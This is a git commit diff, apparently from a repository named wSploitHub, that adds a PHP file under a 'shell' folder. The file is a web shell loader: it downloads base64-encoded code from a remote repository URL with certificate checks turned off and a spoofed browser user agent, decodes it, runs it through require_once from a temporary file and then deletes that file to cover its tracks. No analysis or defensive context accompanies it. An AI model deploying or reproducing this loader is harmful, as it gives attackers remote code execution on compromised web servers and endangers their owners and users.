add geck2.php
This commit is contained in:
parent
c90159b0c2
commit
9019f6e89e
27
shell/geck2.php
Normal file
27
shell/geck2.php
Normal file
@ -0,0 +1,27 @@
|
||||
<?php
|
||||
|
||||
function get_contents($url) {
|
||||
$ch = curl_init($url);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
|
||||
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
|
||||
$result = curl_exec($ch);
|
||||
curl_close($ch);
|
||||
return $result;
|
||||
}
|
||||
|
||||
$url = 'https://git.warceuproject.org/syn/wSploitHub/raw/commit/c90159b0c2c51feefebfbf4f288b13ca3c011acb/raw/geck2';
|
||||
$encoded_code = get_contents($url);
|
||||
$decoded_code = base64_decode($encoded_code);
|
||||
|
||||
|
||||
$tempFile = tempnam(sys_get_temp_dir(), 'tmp_php_');
|
||||
file_put_contents($tempFile, $decoded_code);
|
||||
|
||||
|
||||
require_once $tempFile;
|
||||
unlink($tempFile);
|
||||
|
||||
?>
|
Loading…
Reference in New Issue
Block a user